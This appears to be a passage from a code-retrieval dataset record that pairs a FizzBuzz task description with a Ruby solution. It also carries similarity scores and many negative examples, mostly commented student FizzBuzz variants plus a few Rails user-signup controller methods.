"def create\n # Note this is different to the usual situation where anybody can create\n # an account. Here, only administrators can create accounts for others;\n # and doing so does not log them out.\n unless current_user.admin?\n flash[:error] = \"Users can only be created by administrators.\"\n redirect_to (request.env[\"HTTP_REFERER\"] || root_path) and return\n end\n \n @user = User.new(params[:user])\n success = @user && @user.save\n if success && @user.errors.empty?\n # Protects against session fixation attacks, causes request forgery\n # protection if visitor resubmits an earlier form using back\n # button. Uncomment if you understand the tradeoffs.\n # reset session\n redirect_to users_path\n flash[:notice] = \"The account #{ERB::Util.h @user.login} has been setup for #{ERB::Util.h @user.name}.\"\n else\n flash.now[:error] = \"We couldn't set up that account, sorry.\"\n render :action => 'new'\n end\n end",
"def create\n @user = User.new(user_params)\n @user.save\n if @user.save\n redirect_to root_path, :notice => \"Signed up!\"\n else\n redirect_to signup_path\n end\n end",
"def create\n @user = User.new(signup_params)\n if @user.save\n session[:user_email]=@user.email\n render 'homepage'\n else\n render 'index'\n end\n\n end"
] |
[
"0.7395851",
"0.7247467",
"0.71626556",
"0.7139672",
"0.7113497",
"0.70984936",
"0.70888823",
"0.70888823",
"0.7039201",
"0.70281327",
"0.70087355",
"0.69871736",
"0.69728005",
"0.6933284",
"0.6915741",
"0.6902796",
"0.689676",
"0.68957406",
"0.68957406",
"0.68770015",
"0.6865996",
"0.68475395",
"0.68452567",
"0.68207747",
"0.6806519",
"0.68014234",
"0.67939925",
"0.67775244",
"0.6776433",
"0.6776204",
"0.67622614",
"0.67507803",
"0.6748642",
"0.6743059",
"0.6741487",
"0.67379785",
"0.67306924",
"0.6727411",
"0.6726811",
"0.6724404",
"0.671861",
"0.6710913",
"0.6710561",
"0.670934",
"0.670934",
"0.67031735",
"0.66954243",
"0.66940784",
"0.6683213",
"0.66800284",
"0.6679459",
"0.6676359",
"0.66731274",
"0.6671118",
"0.6669576",
"0.6659165",
"0.6657948",
"0.66544855",
"0.66320276",
"0.6630538",
"0.6627792",
"0.6620643",
"0.662057",
"0.6620276",
"0.66198415",
"0.6614549",
"0.66129386",
"0.6609991",
"0.6608814",
"0.6607606",
"0.6602548",
"0.65991044",
"0.6597276",
"0.6588631",
"0.65795696",
"0.6576911",
"0.65747446",
"0.6572142",
"0.6571411",
"0.65669686",
"0.65641457",
"0.6560718",
"0.6557843",
"0.65576965",
"0.65542465",
"0.65468884",
"0.654382",
"0.6542212",
"0.6540872",
"0.65404737",
"0.6540342",
"0.65403306",
"0.65376794",
"0.65361565",
"0.6535797",
"0.6533492",
"0.65229285",
"0.6516117",
"0.6515798",
"0.65157074",
"0.65118074"
] |
0.0
|
-1
|
Given a range of numbers, print every number between them except put fizz if it is divisible by 3, buzz if it's divisible by 5 and fizzbuzz if divisible by both Input 2 numbers Output Printout of strings and integers Rules Print out "Fizz" if divisible by 3 Print out "Buzz" if divisible by 5 Print out "FizzBuzz" if divisible by 15 Print out integer otherwise Example fizzbuzz(1, 15) > 1, 2, Fizz, 4, Buzz, Fizz, 7, 8, Fizz, Buzz, 11, Fizz, 13, 14, FizzBuzz
|
def fizzbuzz(num1,num2)
for i in num1..num2 do
if i%15 == 0
puts "FizzBuzz"
elsif i%3 == 0
puts "Fizz"
elsif i%5 == 0
puts "Buzz"
else
puts i
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fizzbuzz(num_1, num_2, range)\n # starts a counter from 1 to range value\n # for each in that range, print the specified output on\n # these next conditions:\n (1..range).each do |i|\n\n # if the next number in the counter is divisible\n # by both num1 and num2 (with 0 remainder)\n if i % num_1 === 0 && i % num_2 === 0\n # print this specified output\n puts 'fizzbuzz'\n\n # if the next number in the counter is divisible by num1 (with 0 remainder)\n elsif i % num_1 === 0\n # print this specified output\n puts 'fizz'\n\n # if the next number in the counter is divisible by num2 (with 0 remainder)\n elsif i % num_2 === 0\n # print this specified output\n puts 'buzz'\n # if none of these conditions are met,\n else\n # print the next number in the range counter.\n puts i\n # end of conditionals\n end\n # end of each.do loop\n end\n # end of method\nend",
"def fizzbuzz(num_1, num_2, range)\n#create a loop that iterates from 1 up to the value of the argument range\n# variable i gets assigned another value after each loop\n (1..range).each do |i|\n# in each iteration, if i is divided by num_1 and has 0 remainder (modulo)\n# AND if i is divided by num_2 and has 0 remainders, 'fizzbuzz' will print out\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# if condition is not met from above, then if only i divided by num_1 has 0\n#remainder, then only print out 'fizz'\n elsif i % num_1 === 0\n puts 'fizz'\n# Or if only i divided by num_2 has 0 remainder, then only print out 'buzz'\n elsif i % num_2 === 0\n puts 'buzz'\n# if the three conditions above are not true then just print out value of i\n else\n puts i\n end\n #iterate the loop to the next value in the range\n end\n # when all values within the range are finished, end the loop\nend",
"def fizzbuzz(num_1, num_2, range)\n # sets 1 to range (last number) where each number will do the following\n (1..range).each do |i|\n # if the remainder of each number i divided by the first number num_1 should have a zero AND\n # the remainder of each number i divided by the second number num_2 should have a zero\n if i % num_1 === 0 && i % num_2 === 0\n # then print 'fizzbuzz'\n puts 'fizzbuzz'\n # otherwise, if the remainder of number i divdied by num_1 should have a zero\n elsif i % num_1 === 0\n # then print 'fizz'\n puts 'fizz'\n # otherwise, if the remainder of number i divided by num_2 should have a zero\n elsif i % num_2 === 0\n # then print 'buzz'\n puts 'buzz'\n else\n # if all the conditions above are not met, then print the number i\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n # Create a for loop function that will go through each number inside of the range\n (1..range).each do |i|\n # Create conditional statement and print \"fizzbuzz\" if integer is evenly divisible by both 'num_1' and 'num_2' using the 'Logical And' operator \n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # Create a second conditional statement and print \"fizz\" if integer is NOT evenly divisibly by both 'num_1' and 'num_2', but is evenly divisible by 'num_1'\n elsif i % num_1 === 0\n puts 'fizz'\n # Create a third conditional statement and print \"buzz\" if integer if NOT evenly divisible by both 'num_1' and 'num_2', but is evenly divisible by 'num_2'\n elsif i % num_2 === 0\n puts 'buzz'\n # Create the final conditional statement and print 'i' if the integer is not captured by the previous 3 conditional statements\n else\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n#Repeats the following code for the duration of the range argument.\n (1..range).each do |i|\n#If i is divisible by both num_1 and num_2, it displays string fizzbuzz\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If i is divisible by num_1, it displays string fizz\n elsif i % num_1 === 0\n puts 'fizz'\n#If i is divisible by num_2, it displays string buzz\n elsif i % num_2 === 0\n puts 'buzz'\n#If i isn't divisible by either num_1 or num_2, it displays integer i\n else\n puts i\n#Ends the if, elsif, elsif, else check\n end\n#ends our loop\n end\n#ends our method\nend",
"def fizzbuzz(num_1, num_2, range)\n#Iterate the process begining at the value \"1\" up to the range argument's value.\n#A new variable i is established, i starts as \"1\" and goes up by 1 up until the range value is hit.\n (1..range).each do |i|\n#Establish a conditional: If i's value can be divided by num1's value with a remainder\n#of 0 AND i's value can also be divided by num2's value with a remainder of 0, print the string 'fizzbuzz' to the terminal\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If both prongs of the above conditional are not met, but i's value can be divided by num1's value with a remainder 0 then...\n elsif i % num_1 === 0\n#...print the string 'fizz' to the terminal\n puts 'fizz'\n#If neither of the two previous conditionals are met, but i's value can be divided by num2's value with a remainder 0 then...\n elsif i % num_2 === 0\n#...print the string 'fizz' to the terminal\n puts 'buzz'\n#If none of those conditionals were satisfied then...\n else\n#...print the value of i to the terminal\n puts i\n#end the conditional\n end\n#end the iteration\n end\n#end the method\nend",
"def fizzbuzz(num_1, num_2, range)\n # create a for-loop that begins at 1 and runs until the range value is met\n (1..range).each do |i|\n # if the next value in the range is divided by num_1 and is mod 0 (no remainder)\n # and if the next value in the range is divided by num_2 and is mod 0\n if i % num_1 === 0 && i % num_2 === 0\n # display string\n puts 'fizzbuzz'\n # if the next value in the range is divided by num_1 and is mod 0\n elsif i % num_1 === 0\n # display string\n puts 'fizz'\n # if the next value in the range is divided by num_2 and is mod 0\n elsif i % num_2 === 0\n # display string\n puts 'buzz'\n else\n # if none of the previous statements are met, display the next value in the range\n puts i\n # end the if/else statement\n end\n # end the for-loop\n end\n# end the method\nend",
"def fizzbuzz(num_1, num_2, range)\n # Declare a function that does the following for each argument (i) beginning at 1 and ending at\n # the range:\n (1..range).each do |i|\n # If the value of i divided by num_1 is an integer AND the value of i divided\n # by num_2 is also an integer, print the value 'fizzbizz' on the next line\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # If the value of i divided by num_1 is an integer, print 'fizz' on the next line\n elsif i % num_1 === 0\n puts 'fizz'\n # If the value of i divided by num_2 is an integer, print 'buzz' on the next line\n elsif i % num_2 === 0\n puts 'buzz'\n # If none of the above conditions are met, print the value of i on the next line.\n else\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n#from integer 1 to argument range above, execute the code below for each element. variable i stands for the element in the range the program is currently using at the time.\n (1..range).each do |i|\n#conditional, if variable i modulo argument num_1 is equal to 0 AND variable i modulo argument num_2 is also equal to 0, print string \"fizzbuzz\"\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#if the above conditional is not true, check if variable i modulo argument num_1 is equal to 0 by itself. if true, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n#if neither of the above conditionals are true, check if variable i modulo argument num_2 is equal to 0 by itself. if true, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n#if none of the above conditionals are found to be true, print the value of variable i (the number in the range the program was checking)\n else\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n # starts a loop which runs through all integers between 1 and whatever 'range' argument is equal to. i is the variable where each integer is stored during the loop.\n (1..range).each do |i|\n # starts if/else statement by detecting whether integer i is evenly divisible by both num_1 and num_2.\n if i % num_1 === 0 && i % num_2 === 0\n #If so, it prints 'fizzbuzz.'\n puts 'fizzbuzz'\n # detects if integer i is evenly divisible by num_1 (and only num_1, since line 45 would have caught it if it were divisible by both)\n elsif i % num_1 === 0\n # If so, it prints 'fizz'\n puts 'fizz'\n # detects if integer i is evenly divisible by num_2 (and only num_2)\n elsif i % num_2 === 0\n # If so, it prints 'buzz'\n puts 'buzz'\n # If integer i is evenly divisible by neither num_1 nor num_2, the function just prints integer i\n else\n puts i\n end\n end\nend",
"def fizzbuzz(start_number, end_number)\n (start_number..end_number).each do |number|\n if number % 15 == 0 \n puts \"FizzBuzz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n else\n puts number\n end \n end\nend",
"def fizzbuzz(num_1, num_2, range)\n #sets up a counter starting at 1 ending in a defined range\n #and loops through the conditions until the full range is iterated\n (1..range).each do |i|\n #checks if i is divisible by both num_1 and num_2\n if i % num_1 === 0 && i % num_2 === 0\n #prints fizzbuzz if true\n puts 'fizzbuzz'\n #checks if i is divisible only by num_1\n elsif i % num_1 === 0\n #prints fizz if true\n puts 'fizz'\n #checks if i is divisible only by num_2\n elsif i % num_2 === 0\n #prints buzz if true\n puts 'buzz'\n #creates a condition that encompasses any other inputs\n else\n #prints i if true\n puts i\n #end of conditionals\n end\n #end of loop\n end\n#end of method\nend",
"def fizzbuzz(num_1, num_2, range)\n #Take all integers between 1 and the range arguments and does and using\n #if/elsif/else statements makes a function\n (1..range).each do |i|\n #Takes the integers from line 48 and divides them by the num_1 argument,\n #then takes the remainder, and sees if they equal 0, does this with num_2\n #argument as well, and if both are true runs the next line\n if i % num_1 === 0 && i % num_2 === 0\n #If the above is true, prints to terminal string 'fizzbuzz'\n puts 'fizzbuzz'\n #If the above code was not true and did not run, takes the integers from\n #line 48 and once again sees if the remainder of the argument num_1 ONLY\n #is equal to 0, if true, runs the next line\n elsif i % num_1 === 0\n #If the above is true, prints to terminal string 'fizz'\n puts 'fizz'\n #If both of the above code was not true and did not run, takes the integers\n #from line 48 and once again sees if the remainder of the argument num_2\n #ONLY is equal to 0, if true, runs the next line\n elsif i % num_2 === 0\n #If the above is true, prints to terminal string 'buzz'\n puts 'buzz'\n #If none of the above code was true for any argument, runs the code below\n else\n #If the above is true, prints the integer to terminal\n puts i\n #Ends the if/elsif/else function\n end\n #Ends the function that gave all integers between 1 and argument 'range' and\n #applied them to the if/elsif/else function\n end\n#Ends the function that defined what fizzbuzz did\nend",
"def fizzbuzz(num_1, num_2, range)\n #calls alll numbers in range to each do variable |i|\n (1..range).each do |i|\n # begins if else statement if i can be divided by num_1 and if i divided by num_2\n if i % num_1 === 0 && i % num_2 === 0\n # 'fizzbuzz' is printed to terminal\n puts 'fizzbuzz'\n #if the above is not true i will be checked if divisble by num_1\n elsif i % num_1 === 0\n # if true 'fizz' will be printed to the terminal\n puts 'fizz'\n # checks if i can be divided by num_2\n elsif i % num_2 === 0\n # if true 'buzz' is printed to the terminal\n puts 'buzz'\n #if none of the above is true\n else\n # the variable i is printed to the terminal\n puts i\n #ends if else statement\n end\n #ends range.each do\n end\n #ends method\nend",
"def fizzbuzz(num_1, num_2, range)\n (1..range).each do |i|\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n elsif i % num_1 === 0\n puts 'fizz'\n elsif i % num_2 === 0\n puts 'buzz'\n else\n puts i\n end\n end\nend",
"def fizzbuzz(a,b)\n numbers = (a..b).to_a\n\n numbers.each do |number|\n if number % 15 == 0\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n else\n puts number\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n#Loop through the method using the integers 1 through the range value presented in the argument.\n (1..range).each do |i|\n#If both the modulo if integer and num_1 and integer and num_2 are equal to 0, the string fizzbuzz is returned.\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If only the modolo of integer and num_1 is equal to 0, the string fizz is returned.\n elsif i % num_1 === 0\n puts 'fizz'\n#If only the modulo of i and num_2 is equal to 0, the string buzz is returned.\n elsif i % num_2 === 0\n puts 'buzz'\n#If nothing equals 0, put the integer\n else\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n# Take every integer between 1 and the range argument and do the following:\n (1..range).each do |i|\n # If the integer's modulous with num_1 argument equals zero and the integer's modulous with the num_2 argument equals zero\n if i % num_1 === 0 && i % num_2 === 0\n # print fizzbuzz\n puts 'fizzbuzz'\n # Otherwise if the integer's modulous with num_1 argument equals zero\n elsif i % num_1 === 0\n # print fizz\n puts 'fizz'\n # Otherwise if the integer's modulous with num_2 argument equals zero\n elsif i % num_2 === 0\n # print buzz\n puts 'buzz'\n # None of the above?\n else\n # Then just print the integer\n puts i\n # close if statement\n end\n # close .each method\n end\n# close fizz buzz method\nend",
"def fizzbuzz(num_1, num_2, range)\n # for each number in the range parameter (1 to range), do the following where i represents that number\n (1..range).each do |i|\n # if the remainder when you divide i by num_1 AND when you divide i by num_2 is 0 in both cases\n if i % num_1 === 0 && i % num_2 === 0\n # then print 'fizzbuzz'\n puts 'fizzbuzz'\n # if it IS true that the remainder when you divide i by num_1 is 0 (but not when you divide i by num_2)\n elsif i % num_1 === 0\n # then print just 'fizz'\n puts 'fizz'\n # if it's only true that the remainder is 0 when you divide i by num_2 and not num_1\n elsif i % num_2 === 0\n # then print just 'buzz'\n puts 'buzz'\n # if none of the three previous situations applies (is true)\n else\n #then instead, just print the number (i)\n puts i\n # close the if statement\n end\n # close the iteration loop\n end\n# close the method definition\nend",
"def fizzbuzz(num_1, num_2, range)\n#iterate throughout the number set\n (1..range).each do |i|\n #boolean, === is exact equals, % is the remainder from division (modulo), && is AND both conditions are met\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n #otherwise, if this exact number is met, put this phrase\n elsif i % num_1 === 0\n puts 'fizz'\n #otherwise, if this exact number is met, put this phrase\n elsif i % num_2 === 0\n puts 'buzz'\n #if all else fails, put i\n else\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n# Do i for all the numbers in a range from 1 to the value that will be assigned to the variable \"range\".\n (1..range).each do |i|\n# If i divided by the value assigned to num_1 is equal to 0 and i divided by the value assigned to num_2 is equal to zero then print \"fizzbuzz\".\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# If i divided by the value assigned to num_1 is equal to zero print \"fizz\".\n elsif i % num_1 === 0\n puts 'fizz'\n# If i divided by the value assigned to num_2 is equal to zero print \"buzz\".\n elsif i % num_2 === 0\n puts 'buzz'\n# If none of the previous conditions are true print i.\n else\n puts i\n# Ends the if/else statement.\n end\n# Ends the argument.\n end\n# Ends the method.\nend",
"def fizzbuzz(num_1, num_2, range)\n# iteration on the range of values from 1 to the end of the range for the given input.\n (1..range).each do |i|\n# creating a happy path where the given value divided by num 1 and num 2 returns a remainder of 0 in *both* cases\n if i % num_1 === 0 && i % num_2 === 0\n# puts \"fizzbuzz\" into the console, pretty straightforward\n puts 'fizzbuzz'\n# another path, covering if the value divided by num_1 returns a remainder of 0, but the value divided by num_2 does not\n elsif i % num_1 === 0\n# puts \"fizz\" into the console\n puts 'fizz'\n# another path, covering if the value divided by num_2 returns a remainder of 0, but the value divided by num_1 does not\n elsif i % num_2 === 0\n# puts \"buzz\" into the console\n puts 'buzz'\n# final path, covering if the value divided by num_1 or num_2 doeesn't return a non-zero remainder in either case. also a catch-all for some odd inputs\n else\n# puts the current integer into the console\n puts i\n# ends our if/else paths\n end\n# ends our iteration of the range of values\n end\n# ends our function\nend",
"def fizzbuzz(num_1, num_2, range)\n# Iterate through each number in a range from 1 to whatever number is input for\n# the 'range' argument, and do something for each number.\n (1..range).each do |i|\n# Use an if statement that executes code if the conditional is true. If i is\n# divisible by num_1 and num_2, then execute the code below. If not true, move\n# on to the elsif statement.\n if i % num_1 === 0 && i % num_2 === 0\n# Print 'fizzbuzz' if the conditional above is true.\n puts 'fizzbuzz'\n# Use an elsif statement that executes code if the conditional is true. If i is\n# divisible by num_1, then print 'fizz'. If not true, move on to next elsif statement.\n elsif i % num_1 === 0\n puts 'fizz'\n# Use an elsif statement that executes code if the conditional is true. If i is\n# divisible by num_2, then print 'buzz'. If not true, move on to else statement.\n elsif i % num_2 === 0\n puts 'buzz'\n# If none of the above conditional statements are true, print i.\n else\n puts i\n# End the if/elsif/else statement.\n end\n# End the for loop.\n end\n# End the fizzbuzz method definition.\nend",
"def fizzbuzz(num_1, num_2, range)\n # create loop and declare variable \"i\" assigned to integar 1, and repeat loop\n # for \"i\" on every subsequent integar until the 3rd argument \"range\" is reached\n (1..range).each do |i|\n # create if statement for if the modulus of variable i and argument num_1 is\n # equal to 0 and the modulus of variable i and num_2 is equal to zero,\n # print string \"fizzbuzz\"\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # create else if statement for if the modulus of variable i and argument\n # num_1 is equal to 0, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n # create else if statement for if the modulus of variable i and argument\n # num_2 is equal to 0, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n # create else statement for all other conditions, and print \"i\"\n else\n puts i\n # end if statement\n end\n # end loop\n end\n# end method\nend",
"def fizzbuzz(starting, ending)\n (starting..ending).each do |num|\n if (num % 15).zero?\n p \"FizzBuzz\"\n elsif (num % 3).zero?\n p \"Fizz\"\n elsif (num % 5).zero?\n p \"Buzz\"\n else\n p num\n end\n end\nend",
"def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 15 == 0\n print \"FizzBuzz \"\n elsif num % 5 == 0\n print \"Buzz \"\n elsif num % 3 == 0\n print \"Fizz \"\n else\n print \"#{num.to_i} \"\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range) #defines a method called fizzbuzz which takes 3 parameters (num_1, num_2, range)\n (1..range).each do |i| #iterates `i` over numbers 1 through a number set by parameter `range`\n if i % num_1 === 0 && i % num_2 === 0 #begins if...end loop with conditional that if the modulo of num_1 into `i` AND the modulo of num_2 into `i` both equal zero\n puts 'fizzbuzz' #then \"fizzbuzz\" will be sent to terminal\n elsif i % num_1 === 0 #if the first step is false AND the modulo of num_1 into `i` is 0 then\n puts 'fizz' #\"fizz\" will be printed to terminal\n elsif i % num_2 === 0 #if the first `if` AND the first `elsif` are false AND the modulo of num_2 into `i` is 0 then\n puts 'buzz' #\"buzz\" will be printed to terminal\n else #if all the above are false\n puts i #then variable `i` will be printed to terminal\n end #ends if statement from line 30\n end #ends .each do from line 29\nend",
"def fizzbuzz(num_1, num_2, range)\n # this line defines a for-loop that runs from 1 to the range parameter passed in\n # this will iterate on each number from 1 to the range parameter inclusive\n (1..range).each do |i|\n # this line defines an if statement with 3 conditional statements\n # 1) the remainder of the iterator number (i) / num_1 parameter is 0 (meaning even division)\n # 2) the remainder of the iterator number (i) / num_2 parameter is 0 (meaning even division)\n # 3) that both of the above conditionals are true, meaning i is evenly divided by both nums\n if i % num_1 === 0 && i % num_2 === 0\n # if the above conditionals are true this prints a string\n puts 'fizzbuzz'\n # this line will run if the previous if returns false. this defines a second\n # conditional that returns true if the remainder of i / num_1 parameter\n # is 0 (meaning even division)\n elsif i % num_1 === 0\n # if the above conditional is true this line prints a string\n puts 'fizz'\n # this line will run if the previous elsif returns false. this defines a third\n # conditional that returns true if the remainder of i / num_2 parameter\n # is 0 (meaning even division)\n elsif i % num_2 === 0\n # if the above conditional is true this line prints a string\n puts 'buzz'\n # if none of the above the above conditionals return true run line below\n else\n # this line prints the iterator number i\n puts i\n # this line ends the if-elsif-else block\n end\n # this line ends the for-loop\n end\n# this line ends the fizzbuzz method\nend",
"def fizzbuzz(num_1, num_2, range)\n #set range of numbers for fizzbuzz\n (1..range).each do |i|\n #set initial condition\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n #set alternate condition\n elsif i % num_1 === 0\n puts 'fizz'\n #set alternate condition\n elsif i % num_2 === 0\n puts 'buzz'\n #set else condition\n else\n puts i\n #close if-statement\n end\n #close .each method\n end\n#close fizzbuzz\nend",
"def fizzbuzz(num_1, num_2, range)\n# Defines a method that will test pass each of a range of integers to the if-statement.\n (1..range).each do |i|\n # Sets the condition to act on an integer if the it's multiple of num_1 and num_2.\n if i % num_1 === 0 && i % num_2 === 0\n # Prints string if the conditions are met.\n puts 'fizzbuzz'\n # Sets the condition to act on integer if it's a multiple of num_1\n elsif i % num_1 === 0\n # Prints string if the condition is met.\n puts 'fizz'\n # Sets the condition to act on integer if it's a multiple of num_2\n elsif i % num_2 === 0\n # Prints string if the condition is met.\n puts 'buzz'\n # Sets the condition if none of the previous conditions are met.\n else\n # Prints the integer from the range\n puts i\n # Closes if-statment\n end\n # Closes each method\n end\n# Closes method\nend",
"def fizzbuzz(start_num, end_num)\n for curr_num in (start_num..end_num)\n if curr_num % 15 == 0\n print \"FizzBuzz\"\n elsif curr_num % 5 == 0\n print \"Buzz\"\n elsif curr_num % 3 == 0\n print \"Fizz\"\n else\n print curr_num\n end\n print \", \" if curr_num < end_num\n end\n puts \"\"\nend",
"def fizzbuzz(num_1, num_2, range)\n # 1..range will compute from the numer 1 to the variable range. .each loops this varaible while do tells it to loop. The |i| is place holder for indexes\n (1..range).each do |i|\n # The if statemenet is stating if i has a remindar equal to num_1 that is equal to 0 AND if i has a remindar equal to num_2 that is equal to zero\n if i % num_1 === 0 && i % num_2 === 0\n # print fizzbuzz if the given condition above is true\n puts 'fizzbuzz'\n # elsif is stating that if the first condition isn't met, then print this method. This elsif method states if i has a remindar that is equal to num_1 that is equal to 0\n elsif i % num_1 === 0\n # Print fizz if the given condition above is true\n puts 'fizz'\n # elsif is stating that if the given if statement is false, then go to the next elsif statement. This is stating if i has a remindar equal to num_2 that is equal to=\n elsif i % num_2 === 0\n # Print buzz if the given condition above is true\n puts 'buzz'\n # else is the final condition in a if, elsif statement. If the if and elsif statements are false, else will automatically be the final condition.\n else\n # print i if the given conditions of if, elsif are false\n puts i\n # ends the if, elsif, else fuctions\n end\n # ends the looping function\n end\n # ends the method function\nend",
"def fizzbuzz(num_1, num_2)\n for num in num_1..num_2\n output = \"\"\n output += \"Fizz\" if (num % 3) == 0\n output += \"Buzz\" if (num % 5) == 0\n output += num.to_s if !(num % 3 == 0) && !(num % 5 == 0)\n print output + \", \"\n end\nend",
"def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 5 == 0 && num % 3 == 0\n puts \"FizzBuzz\"\n elsif num % 3 == 0 then puts \"Fizz\"\n elsif num % 5 == 0 then puts \"Buzz\"\n else puts num\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n #starts an iteraterion over the integers 1-value of range, defined as i\n (1..range).each do |i|\n # 41&42, if the remainder of i devided by parameter num_1 is equavalent to zero, AND the remainder of i divided by num_2 is zero, print 'fizzbuzz'\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # if the remainder of i divided by num_1 is equavalent to zero, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n # if the remainder of i divided by num_2 is zero, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n #if no other conditional has been satisfied, print i\n else\n puts i\n #closes the conditional.\n end\n #closes the iteraterion\n end\n#closes the method\nend",
"def fizzbuzz(num_1, num_2, range)\n#this loops from the specified argument rage using the i variable.\n (1..range).each do |i|\n#if the value of i mod num_1 is equal to zero AND the value of i mod num_2 equals zero put 'fizzbuzz'\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#if the condition above was not met BUT i mod num_1 equals zero print 'fizz'\n elsif i % num_1 === 0\n puts 'fizz'\n#if the above conditions are not met but i mod num_2 equals zero print buzz\n elsif i % num_2 === 0\n puts 'buzz'\n#if none of the above conditions are met AT ALL then send the value for the i variable\n else\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n# for loop that parses through entire number range from 1 to what is passed as an argument\n (1..range).each do |i|\n# boolean if statement if the modulo of num_1 argument is 0 and num_2 argument is also 0 results\n if i % num_1 === 0 && i % num_2 === 0\n# prints fizzbuzz to terminal if above boolean is true\n puts 'fizzbuzz'\n# else if boolean range operator modulo num_1 argument is 0 results in string printing to terminal\n elsif i % num_1 === 0\n# prints fizz to terminals\n puts 'fizz'\n# else if boolean range value modulo num_2 argument is 0 prints string to terminal\n elsif i % num_2 === 0\n# prints buzz to terminal\n puts 'buzz'\n# if all above booleans fail\n else\n# puts range value\n puts i\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n # iterates arguments\n (1..range).each do |i\n # states if remainder of i divided by num_1 is equal to 0 AND remainder ofi divided by num_2 is equal to 0\n if i % num_1 === 0 && i % num_2 === 0\n # assigns puts value\n puts 'fizzbuzz'\n # states if remainder of i divided by num_1 is equal to 0\n elsif i % num_1 === 0\n # assigns puts value\n puts 'fizz'\n # states if remainder of i divided by num_2 is equal to 0\n elsif i % num_2 === 0\n # assigns puts value\n puts 'buzz'\n # states what to do if all above tests fail\n else\n # assigns puts to i\n puts i\n # ends if else statement\n end\n # ends iteration\n end\n # ends function\nend",
"def fizzbuzz(num_1, num_2, range)\n #loop with .each do instead of for loop\n (1..range).each do |i|\n #Use modulo operator to get the remainder of the division i on num-1\n #if i modulo num_1 triple equals 0 AND i modulo num_2 triple equals 0\n if i % num_1 === 0 && i % num_2 === 0\n #print \"fizzbuzz\"\n puts 'fizzbuzz'\n #else if i modulo num_1 triple equals 0\n elsif i % num_1 === 0\n #print \"fizz\"\n puts 'fizz'\n #else if i modulo num_2 triple equals 0\n elsif i % num_2 === 0\n #print \"buzz\"\n puts 'buzz'\n #otherwise\n else\n #print i\n puts i\n #end\n end\n #end\n end\n #end\nend",
"def fizzbuzz(num1 , num2)\n result = []\n arr = (num1..num2).to_a\n arr.each do |n|\n if n % 3 == 0 && n % 5 == 0\n result << 'FizzBuzz'\n elsif n % 3 == 0\n result << 'Fizz'\n elsif n % 5 == 0\n result << 'Buzz'\n else\n result << n\n end\n end\n puts result.join(', ')\nend",
"def fizzbuzz(num_1, num_2, range)\n# looping through the code block using iteration.\n (1..range).each do |i|\n# If left hand operand i devided by right hand operand num_1 is equal to 0 and left hand operand i devided by right hand operand num_2 is equal to 0 then print fizzbuzz\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n# If not the first if check left hand operand i devided by right hand operand num_1 is equal to 0 if so print fizz.\n elsif i % num_1 === 0\n puts 'fizz'\n# If not the first if or first elsif check left hand operand i devided by right hand operand num_2 is equal to 0 if so print buzz. \n elsif i % num_2 === 0\n puts 'buzz'\n# If non of the above print i\n else\n puts i\n# End block of code\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n # for each of \"range\", do the below - i iterates from 1 to range\n (1..range).each do |i|\n # if statement - calculates whether remainder = 0 when i is divided by both num_1 and num_2 \n # this is equivalent to figuring out if num_1 and num_2 both divide evenly in. \n if i % num_1 === 0 && i % num_2 === 0\n # print \"fizzbuzz \" to screen if true \n puts 'fizzbuzz'\n # if quotient is zero for num_1 but not num_2 - print fizz \n elsif i % num_1 === 0\n # print fizz \n puts 'fizz'\n #if quotient = 0 for num_2 but not num_1 - print buzz \n elsif i % num_2 === 0\n # print buzz \n puts 'buzz'\n # if none of these are true - print i \n else\n # print i \n puts i\n \n end\n \n>>>>>>> 7f31df2026bbc770e1d39fa796fd7a1c7b96e2e3\n end\n\nend",
"def fizzBuzz (number)\n for i in 1..number\n if (i % 15 == 0)\n puts \"fizzbuzz\"\n elsif (i % 3 ==0)\n puts \"fizz\"\n elsif (i % 5 ==0)\n puts \"buzz\"\n else\n puts i\n end\n end\nend",
